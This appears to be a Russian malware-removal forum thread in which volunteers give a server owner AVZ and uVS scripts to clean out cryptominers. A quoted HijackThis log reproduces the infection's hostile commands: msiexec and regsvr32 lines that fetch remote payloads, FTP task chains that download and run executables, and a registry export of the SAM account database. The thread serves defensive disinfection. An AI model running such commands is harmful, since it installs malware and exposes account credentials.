опять биткоин майнеры [not-a-virus:RiskTool.Win32.Agent.aouh, not-a-virus:RiskTool.Win32.Agent.amrp ]

виндовс 2008, расплодились биткоин майнеры, жрут проц
антивирус дрвеб для серверов их благополучно игнорирует ... ТТ
помогите пожалуйста

Уважаемый(ая) [B]katter[/B], спасибо за обращение на наш форум!

Удаление вирусов - абсолютно бесплатная услуга на VirusInfo.Info. Хелперы в самое ближайшее время ответят на Ваш запрос. Для оказания помощи необходимо предоставить логи сканирования утилитой Autologger, подробнее можно прочитать в [URL="https://virusinfo.info/pravila.html"]правилах оформления запроса о помощи[/URL].

[INFORMATION]Если вы хотите получить персональную гарантированную помощь в приоритетном режиме, то воспользуйтесь платным сервисом [URL="https://virusinfo.info/content.php?r=613-sub_pomogite"]Помогите+[/URL].[/INFORMATION]

Если наш сайт окажется полезен Вам и у Вас будет такая возможность - пожалуйста [URL="https://virusinfo.info/content.php?r=113-virusinfo.info-donate"]поддержите проект[/URL].

Здравствуйте!

- Проведите [url=http://virusinfo.info/content.php?r=290-virus-detector][b]эту[/b][/url] процедуру. Полученную ссылку после загрузки карантина [b]virusinfo_auto_имя_вашего_ПК.zip[/b] через [url=http://virusinfo.info/virusdetector/uploadform.php][b]данную форму[/b][/url] напишите в своём в сообщении здесь.

Закройте все программы

Отключите
- ПК от интернета/локалки.
[url=http://virusinfo.info/showthread.php?t=130828]- Антивирус и Файрвол[/url]

[url=http://virusinfo.info/showthread.php?t=7239]Выполните скрипт в АВЗ[/url] -

[code]
begin
ClearQuarantineEx(true);
TerminateProcessByName('c:\program files (x86)\msbuild\microsoft\windows workflow foundation\v2.5\services.exe');
TerminateProcessByName('c:\windows\fonts\svchost.exe');
TerminateProcessByName('c:\windows\fonts\xmrig.exe');
TerminateProcessByName('c:\windows\inf\.netframework3.5sp1\0009\v1.1.4322\asp.netwebadminfiles\app_localresources\ctfmon.exe');
TerminateProcessByName('c:\windows\inf\axperflib\0010\0011\000a\0010\mms.exe');
TerminateProcessByName('c:\windows\inf\axperflib\0010\0011\000a\0010\vmms.exe');
TerminateProcessByName('c:\windows\inf\axperflib\0010\0011\000e\0015\mms.exe');
TerminateProcessByName('c:\windows\inf\axperflib\0010\0011\000e\0015\taskhostex.exe');
TerminateProcessByName('c:\windows\inf\axperflib\0010\0011\0015\0016\axperflib\spsvc.exe');
TerminateProcessByName('c:\windows\inf\netlibrariestip\0009\v3.5.56385\1049\5.0\wahiver.exe');
TerminateProcessByName('c:\windows\inf\netlibrariestip\0009\v3.5.56385\1049\5.0\wasp.exe');
TerminateProcessByName('c:\windows\inf\netlibrariestip\0009\v3.5.56385\1049\5.0\waspwing.exe');
TerminateProcessByName('c:\windows\inf\netlibrariestip\000d\1049\5.0\1049\5.0\mms.exe');
TerminateProcessByName('c:\windows\inf\netlibrariestip\000d\1049\5.0\1049\5.0\spoolsv.exe');
TerminateProcessByName('c:\windows\inf\netlibrariestip\000d\1049\5.0\sql\lsm.exe');
TerminateProcessByName('c:\windows\inf\netlibrariestip\000d\1049\5.0\sql\ssms.exe');
StopService('NGEN');
StopService('spoolsrvrs');
StopService('wcvvses');
StopService('werlsfks');
StopService('wscsvs');
QuarantineFile('C:\~SAMIns.TMP', '');
QuarantineFile('c:\program files (x86)\msbuild\microsoft\windows workflow foundation\v2.5\services.exe', '');
QuarantineFile('C:\Windows\Fonts\.{2E095DD0-AF56-47E4-A097-EAC038DECC94}\vs.vbs', '');
QuarantineFile('C:\Windows\Fonts\.{2E095DD0-AF56-47E4-A099-EAC038DECC24}\jws.vbs', '');
QuarantineFile('c:\windows\fonts\svchost.exe', '');
QuarantineFile('c:\windows\fonts\xmrig.exe', '');
QuarantineFile('c:\windows\inf\.netframework3.5sp1\0009\v1.1.4322\asp.netwebadminfiles\app_localresources\ctfmon.exe', '');
QuarantineFile('c:\windows\inf\axperflib\0010\0011\000a\0010\mms.exe', '');
QuarantineFile('c:\windows\inf\axperflib\0010\0011\000a\0010\vmms.exe', '');
QuarantineFile('c:\windows\inf\axperflib\0010\0011\000e\0015\mms.exe', '');
QuarantineFile('c:\windows\inf\axperflib\0010\0011\000e\0015\taskhostex.exe', '');
QuarantineFile('c:\windows\inf\axperflib\0010\0011\0015\0016\axperflib\spsvc.exe', '');
QuarantineFile('c:\windows\inf\netlibrariestip\0009\v3.5.56385\1049\5.0\wahiver.exe', '');
QuarantineFile('c:\windows\inf\netlibrariestip\0009\v3.5.56385\1049\5.0\wasp.exe', '');
QuarantineFile('c:\windows\inf\netlibrariestip\0009\v3.5.56385\1049\5.0\waspwing.exe', '');
QuarantineFile('c:\windows\inf\netlibrariestip\000d\1049\5.0\1049\5.0\mms.exe', '');
QuarantineFile('c:\windows\inf\netlibrariestip\000d\1049\5.0\1049\5.0\spoolsv.exe', '');
QuarantineFile('c:\windows\inf\netlibrariestip\000d\1049\5.0\sql\lsm.exe', '');
QuarantineFile('c:\windows\inf\netlibrariestip\000d\1049\5.0\sql\ssms.exe', '');
QuarantineFileF('c:\windows\fonts\.{2e095dd0-af56-47e4-a099-eac038decc24}', '*.exe, *.dll, *.sys, *.bat, *.vbs, *.ps1, *.js*, *.tmp*', true, '', 0, 0);
QuarantineFileF('c:\windows\inf\axperflib', '*.exe, *.dll, *.sys, *.bat, *.vbs, *.ps1, *.js*, *.tmp*', true, '', 0 , 0);
QuarantineFileF('c:\windows\inf\netlibrariestip', '*.exe, *.dll, *.sys, *.bat, *.vbs, *.ps1, *.js*, *.tmp*', true, '', 0 , 0);
DeleteFile('c:\program files (x86)\msbuild\microsoft\windows workflow foundation\v2.5\services.exe', '32');
DeleteFile('C:\Windows\Fonts\.{2E095DD0-AF56-47E4-A097-EAC038DECC94}\vs.vbs', '32');
DeleteFile('C:\Windows\Fonts\.{2E095DD0-AF56-47E4-A099-EAC038DECC24}\jws.vbs', '32');
DeleteFile('c:\windows\fonts\svchost.exe', '32');
DeleteFile('c:\windows\fonts\xmrig.exe', '32');
DeleteFile('c:\windows\inf\.netframework3.5sp1\0009\v1.1.4322\asp.netwebadminfiles\app_localresources\ctfmon.exe', '32');
DeleteFile('c:\windows\inf\axperflib\0010\0011\000a\0010\mms.exe', '32');
DeleteFile('c:\windows\inf\axperflib\0010\0011\000a\0010\vmms.exe', '32');
DeleteFile('c:\windows\inf\axperflib\0010\0011\000e\0015\mms.exe', '32');
DeleteFile('c:\windows\inf\axperflib\0010\0011\000e\0015\taskhostex.exe', '32');
DeleteFile('c:\windows\inf\axperflib\0010\0011\0015\0016\axperflib\spsvc.exe', '32');
DeleteFile('c:\windows\inf\netlibrariestip\0009\v3.5.56385\1049\5.0\wahiver.exe', '32');
DeleteFile('c:\windows\inf\netlibrariestip\0009\v3.5.56385\1049\5.0\wasp.exe', '32');
DeleteFile('c:\windows\inf\netlibrariestip\0009\v3.5.56385\1049\5.0\waspwing.exe', '32');
DeleteFile('c:\windows\inf\netlibrariestip\000d\1049\5.0\1049\5.0\mms.exe', '32');
DeleteFile('c:\windows\inf\netlibrariestip\000d\1049\5.0\1049\5.0\spoolsv.exe', '32');
DeleteFile('c:\windows\inf\netlibrariestip\000d\1049\5.0\sql\lsm.exe', '32');
DeleteFile('c:\windows\inf\netlibrariestip\000d\1049\5.0\sql\ssms.exe', '32');
ExecuteFile('schtasks.exe', '/delete /TN "WindowsControlParental" /F', 0, 15000, true);
ExecuteFile('schtasks.exe', '/delete /TN "MsMonitor" /F', 0, 15000, true);
ExecuteFile('schtasks.exe', '/delete /TN "Net" /F', 0, 15000, true);
DeleteService('ddns');
DeleteService('NGEN');
DeleteService('spoolsrvrs');
DeleteService('wcvvses');
DeleteService('werlsfks');
DeleteService('wscsvs');
DeleteFileMask('c:\windows\fonts\.{2e095dd0-af56-47e4-a099-eac038decc24}', '*', true);
DeleteFileMask('c:\windows\inf\axperflib', '*', true);
DeleteFileMask('c:\windows\inf\netlibrariestip', '*', true);
DeleteDirectory('c:\windows\fonts\.{2e095dd0-af56-47e4-a099-eac038decc24}');
DeleteDirectory('c:\windows\inf\axperflib');
DeleteDirectory('c:\windows\inf\netlibrariestip');
RegKeyParamDel('HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\start', 'command');
RegKeyParamDel('HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\start1', 'command');
RegKeyParamDel('HKEY_USERS', '.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Run', 'CTFMON.EXE');
RegKeyParamDel('HKEY_USERS', 'S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Run', 'CTFMON.EXE');
CreateQurantineArchive(GetAVZDirectory + 'quarantine.zip');
ExecuteSysClean;
ExecuteRepair(9);
ExecuteWizard('SCU', 2, 3, true);
end.
[/code]

[color=#FF0000]После выполнения скрипта компьютер перезагрузите вручную.[/color]

Файл [b]quarantine.zip[/b] из папки AVZ загрузите по ссылке "[color=Red][b]Прислать запрошенный карантин[/b][/color]" вверху темы.

- Сделайте повторные логи по [url=http://virusinfo.info/pravila.html]правилам[/url]. Для [u]повторной[/u] диагностики запустите снова Autologger. В первом диалоговом окне нажмите ОК, удерживая нажатой клавишу Shift.

[COLOR="silver"]- - - - -Добавлено - - - - -[/COLOR]

+ [CODE]C:\~SAMIns.TMP[/CODE] вам знаком?

нет не знаком -_-

карантины загрузил

спасибо ~_~

я думал поставил антивирус и проблема предотвращена, ан нет...

[quote="regist;1464505"]- Проведите эту процедуру. Полученную ссылку после загрузки карантина virusinfo_auto_имя_вашего_ПК.zip через данную форму напишите в своём в сообщении здесь.[/quote]
где ссылка на отчёт?!

[url]https://virusinfo.info/virusdetector/report.php?md5=A5A9C6BD1F6365328B51455AEDD388F2[/url]

Здравствуйте!

Закройте все программы

Отключите
- ПК от интернета/локалки.
[url=http://virusinfo.info/showthread.php?t=130828]- Антивирус и Файрвол[/url]

[url=http://virusinfo.info/showthread.php?t=7239]Выполните скрипт в АВЗ[/url] -

[code]
begin
ExecuteFile('net.exe', 'stop tcpip /y', 0, 15000, true);
ClearQuarantineEx(true);
StopService('ddns');
QuarantineFile('C:\~SAMIns.TMP', '');
QuarantineFile('C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v2.5\services.exe', '');
QuarantineFile('c:\windows\debug\ok.dat', '');
QuarantineFile('C:\Windows\Fonts\.{2E095DD0-AF56-47E4-A097-EAC038DECC94}\vs.vbs', '');
QuarantineFile('C:\Windows\Fonts\.{2E095DD0-AF56-47E4-A099-EAC038DECC24}\jws.vbs', '');
QuarantineFile('c:\windows\help\lsmosee.exe', '');
QuarantineFile('C:\Windows\inf\.NETFramework3.5SP1\0009\v1.1.4322\ASP.NETWebAdminFiles\App_LocalResources\ctfmon.exe', '');
QuarantineFileF('C:\Program Files (x86)\YiuAskU2\', '*.exe, *.dll, *.sys, *.bat, *.vbs, *.ps1, *.js*, *.tmp*', true, '', 0, 0);
QuarantineFileF('C:\Program Files (x86)\YubeAlckU', '*.exe, *.dll, *.sys, *.bat, *.vbs, *.ps1, *.js*, *.tmp*', true, '', 0, 0);
DeleteFile('C:\~SAMIns.TMP', '32');
DeleteFile('C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v2.5\services.exe', '32');
DeleteFile('c:\windows\debug\ok.dat');
DeleteFile('C:\Windows\Fonts\.{2E095DD0-AF56-47E4-A097-EAC038DECC94}\vs.vbs', '32');
DeleteFile('C:\Windows\Fonts\.{2E095DD0-AF56-47E4-A099-EAC038DECC24}\jws.vbs', '32');
DeleteFile('c:\windows\help\lsmosee.exe');
DeleteFile('C:\Windows\inf\.NETFramework3.5SP1\0009\v1.1.4322\ASP.NETWebAdminFiles\App_LocalResources\ctfmon.exe', '32');
ExecuteFile('schtasks.exe', '/delete /TN "At1" /F', 0, 15000, true);
ExecuteFile('schtasks.exe', '/delete /TN "MsMonitor" /F', 0, 15000, true);
ExecuteFile('schtasks.exe', '/delete /TN "WindowsControlParental" /F', 0, 15000, true);
DeleteService('ddns');
DeleteFileMask('C:\Program Files (x86)\YiuAskU2\', '*', true);
DeleteFileMask('C:\Program Files (x86)\YubeAlckU', '*', true);
DeleteDirectory('C:\Program Files (x86)\YiuAskU2\');
DeleteDirectory('C:\Program Files (x86)\YubeAlckU');
RegKeyParamDel('HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\start', 'command');
RegKeyParamDel('HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\start1', 'command');
RegKeyParamDel('HKEY_USERS', '.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Run', 'CTFMON.EXE');
CreateQurantineArchive(GetAVZDirectory + 'quarantine.zip');
ExecuteSysClean;
ExecuteWizard('SCU', 2, 3, true);
end.
[/code]

[color=#FF0000]После выполнения скрипта компьютер перезагрузите вручную.[/color]

Файл [b]quarantine.zip[/b] из папки AVZ загрузите по ссылке "[color=Red][b]Прислать запрошенный карантин[/b][/color]" вверху темы.

[url=http://virusinfo.info/showthread.php?t=4491]Профиксите[/url] в HijackThis из папки ..\AutoLogger\HiJackThis

[CODE]O4 - MSConfig\startupreg: [start1] C:\Windows\system32\msiexec.exe /i http://js.mykings.top:280/helloworld.msi /q (HKLM) (2017/09/19)
O4 - MSConfig\startupreg: [start] C:\Windows\system32\regsvr32.exe /u /s /i:http://js.mykings.top:280/v.sct scrobj.dll (HKLM) (2017/09/19)
O22 - Task (Ready): 2C6A44CB-AD42-4731-A544-3FBD3D83AB5B2 - C:\Windows\system32\rundll32.exe "C:\Program Files (x86)\YiuAskU\871uEsd.dll",#1
O22 - Task (Ready): At1 - C:\Windows\regedit.exe /E /A "C:\~SAMIns.TMP" "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account"
O22 - Task (Ready): CheckControllerUpdatesUA - C:\Program Files (x86)\Smart Application Controller\smappscontroller.exe -checkfornewversion (file missing)
O22 - Task (Ready): E3605470-291B-44EB-8648-745EE356599A2 - C:\Windows\system32\rundll32.exe "C:\Program Files (x86)\YubeAlckU\4EDjuWn.dll",#1
O22 - Task (Ready): Mysa2 - C:\Windows\system32\cmd.exe /c echo open ftp.oo000oo.me>p&echo test>>p&echo 1433>>p&echo get s.dat c:\windows\debug\item.dat>>p&echo bye>>p&ftp -s:p
O22 - Task (Ready): U2_2C6A44CB-AD42-4731-A544-3FBD3D83AB5B - C:\Windows\system32\rundll32.exe "C:\Program Files (x86)\YiuAskU2\BY4cTSU.dll",#1
O22 - Task (Ready): \Microsoft\Windows\Web\Net - C:\Windows\inf\.NETFramework3.5SP1\0009\v1.1.4322\ASP.NETWebAdminFiles\App_LocalResources\ctfmon.exe (file missing)
O22 - Task (Running): Mysa1 - C:\Windows\system32\rundll32.exe c:\windows\debug\item.dat,ServiceMain aaaa
O22 - Task (Running): Mysa3 - C:\Windows\system32\cmd.exe /c echo open ftp.oo000oo.me>ps&echo test>>ps&echo 1433>>ps&echo get s.rar c:\windows\help\lsmosee.exe>>ps&echo bye>>ps&ftp -s:ps&c:\windows\help\lsmosee.exe
O22 - Task (Running): ok - C:\Windows\system32\rundll32.exe c:\windows\debug\ok.dat,ServiceMain aaaa
[/CODE]

[url=http://virusinfo.info/showthread.php?t=121767][b]Сделайте полный образ автозапуска uVS[/b][/url], только программу скачайте [url=https://yadi.sk/d/6A65LkI1WEuqC]отсюда.[/url]


PS. у вас там целый зоопарк разной заразы.

загрузил карантин, вот файл автозапуска

1) [url=http://virusinfo.info/showthread.php?t=121767&p=897827&viewfull=1#post897827]Выполните скрипт в uVS[/url]
[CODE];uVS v4.0.10 [http://dsrt.dyndns.org]
;Target OS: NTv6.1
v400c
BREG
delref %SystemDrive%\PROGRAM FILES (X86)\GOOGLE\UPDATE\1.3.31.5\PSMACHINE.DLL
delref %SystemDrive%\PROGRAM FILES (X86)\GOOGLE\UPDATE\1.3.32.7\PSMACHINE.DLL
delref %SystemDrive%\PROGRAM FILES (X86)\GOOGLE\UPDATE\1.3.33.3\PSMACHINE.DLL
delref %SystemDrive%\PROGRAM FILES (X86)\GOOGLE\UPDATE\1.3.31.5\PSMACHINE_64.DLL
delref %SystemDrive%\PROGRAM FILES (X86)\GOOGLE\UPDATE\1.3.32.7\PSMACHINE_64.DLL
delref %SystemDrive%\PROGRAM FILES (X86)\GOOGLE\UPDATE\1.3.33.3\PSMACHINE_64.DLL
delref %SystemDrive%\PROGRAM FILES (X86)\LITEMANAGER PRO - SERVER\ROMSERVER.EXE
delref %SystemDrive%\USERS\АДМИНИСТРАТОР\APPDATA\LOCAL\TEMP\1\V8_10E1_C.TMP
delref %SystemDrive%\USERS\ГОСТЬ\APPDATA\LOCAL\TEMP\2\V8_2FD0_A.TMP
zoo %SystemRoot%\FONTS\.{2E095DD0-AF56-47E4-A097-EAC038DECC94}\VS.VBS
delall %SystemRoot%\FONTS\.{2E095DD0-AF56-47E4-A097-EAC038DECC94}\VS.VBS
zoo %SystemDrive%\PROGRAM FILES (X86)\YIUASKU\871UESD.DLL
delall %SystemDrive%\PROGRAM FILES (X86)\YIUASKU\871UESD.DLL
delref HTTPS://NEWTAB.CLUB
delref PS&C:\WINDOWS\HELP\LSMOSEE.EXE
zoo %SystemRoot%\FONTS\.{2E095DD0-AF56-47E4-A099-EAC038DECC24}\JWS.VBS
delall %SystemRoot%\FONTS\.{2E095DD0-AF56-47E4-A099-EAC038DECC24}\JWS.VBS
delref S.RAR
zoo %SystemRoot%\DEBUG\LSMOSE.EXE
bl 5217A3B8173ABCCA370581536BF58754 3023872
addsgn 9A274378E182D11E0AD4C8F0930F833F6D0B11F089FA1FAB652A0B8052D639C74F32C3162491164F6301429B4616490294F88C77550EF216FC2FAC8F0E27E6E7 8 Win64/CoinMiner.ET [ESET-NOD32] 7

chklst
delvir

czoo
restart[/CODE]

2) Программы/расширения от Mail.ru используете?

3) [LIST][*]Скачайте [B][URL="https://toolslib.net/downloads/finish/1/"]AdwCleaner[/URL][/B] и сохраните его на [B]Рабочем столе[/B].[*]Запустите его (в ОС [B]Vista/Windows 7/8[/B] необходимо запускать через правую кн. мыши [B]от имени администратора[/B]), нажмите кнопку [B]"Scan"[/B] ([B]"Сканировать"[/B]) и дождитесь окончания сканирования.[*]Когда сканирование будет завершено, отчет будет сохранен в следующем расположении: [B][COLOR="Blue"]C:\AdwCleaner\AdwCleaner[S0].txt[/COLOR][/B].[*]Прикрепите отчет к своему следующему сообщению.[/LIST]

1)выполнил

2)нет

3)выполнил

[LIST][*]Запустите повторно [COLOR="Blue"][B]AdwCleaner[/B][/COLOR] (в ОС [B]Vista/Windows 7/8[/B] необходимо запускать через правую кн. мыши [B]от имени администратора[/B]).[*]В меню [b]Tools[/b] ->[b]Options [/b] ([b]Инструменты[/b] ->[b]Настройки[/b]) отметьте:
[list][*]Сброс политик IE[*]Сброс политик Chrome[/list][*]Нажмите кнопку [B]"Scan"[/B] ([B]"Сканировать"[/B]), а по окончанию сканирования нажмите кнопку [B]"Cleaning"[/B] ([B]"Очистка"[/B]) и дождитесь окончания удаления.[*]Когда удаление будет завершено, отчет будет сохранен в следующем расположении: [B][COLOR="Blue"]C:\AdwCleaner\AdwCleaner[C0].txt[/COLOR][/B].[*]Прикрепите отчет к своему следующему сообщению[/LIST]
[B]Внимание: [COLOR="Red"]Для успешного удаления нужна [U]перезагрузка компьютера[/U]!!![/COLOR][/B].

Статистика проведенного лечения:
[LIST][*]Получено карантинов: [B]3[/B][*]Обработано файлов: [B]529[/B][*]В ходе лечения обнаружены вредоносные программы:
[LIST=1][*] c:\program files (x86)\msbuild\microsoft\windows workflow foundation\v2.5\services.exe - [B]UDS:DangerousObject.Multi.Generic[/B] ( BitDefender: Trojan.Generic.12220889 )[*] c:\windows\fonts\xmrig.exe - [B]not-a-virus:HEUR:RiskTool.Win32.BitCoinMiner.gen[/B][*] c:\windows\inf\netlibrariestip\0009\v3.5.56385\1049\5.0\wahiver.exe - [B]not-a-virus:RiskTool.Win32.Agent.aouh[/B][*] c:\windows\inf\netlibrariestip\0009\v3.5.56385\1049\5.0\wasp.exe - [B]not-a-virus:RiskTool.Win32.Agent.amrp[/B][*] c:\windows\inf\netlibrariestip\0009\v3.5.56385\1049\5.0\waspwing.exe - [B]not-a-virus:RiskTool.Win32.Agent.amrm[/B][/LIST][/LIST]